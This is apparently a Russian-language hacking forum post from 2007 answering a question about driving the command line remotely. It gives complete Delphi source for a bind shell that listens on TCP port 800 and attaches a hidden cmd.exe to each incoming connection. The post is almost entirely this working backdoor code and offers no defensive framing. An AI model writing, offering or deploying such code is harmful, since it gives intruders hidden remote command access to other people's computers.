
03.04.2007, 06:41
|
|
Участник форума
Регистрация: 06.04.2006
Сообщений: 257
Провел на форуме: 367179
Репутация:
76
|
|
мона запустить командную строку и иммтировать нажатие клавиш
Проще, перенаправить ввод-вывод с cmd.exe на сокет. Реализуеся довольно просто:
Код:
program BindShell;
uses
Windows,
WinSock;
function WSASocketA(af, wType, protocol: integer;
lpProtocolInfo: pointer;
g, dwFlags: dword): integer;
stdcall; external 'ws2_32.dll';
var
WSAData: TWSAData;
FSocket: integer;
SockAddrIn: TSockAddrIn;
sHandle: dword;
St: TStartupInfo;
Pr: TProcessInformation;
begin
WSAStartup($202, WSAData); // инициализация WinSocks2
// создаем сокет
FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(800); // назначаем 800 TCP порт для открытия шела
bind(FSocket, SockAddrIn, 16);
listen(FSocket, 0); // открываем порт
while true do
begin
sHandle := accept(FSocket, nil, 0); // ожидаем соединения
if sHandle <> INVALID_SOCKET then
begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_HIDE;
St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
St.hStdInput := sHandle;
St.hStdOutput := sHandle;
St.hStdError := sHandle;
// запускаем cmd.exe с перенаправлением ввода-вывода
CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, St, Pr);
CloseHandle(sHandle);
CloseHandle(Pr.hProcess);
CloseHandle(Pr.hThread);
end;
end;
end.
|
|
|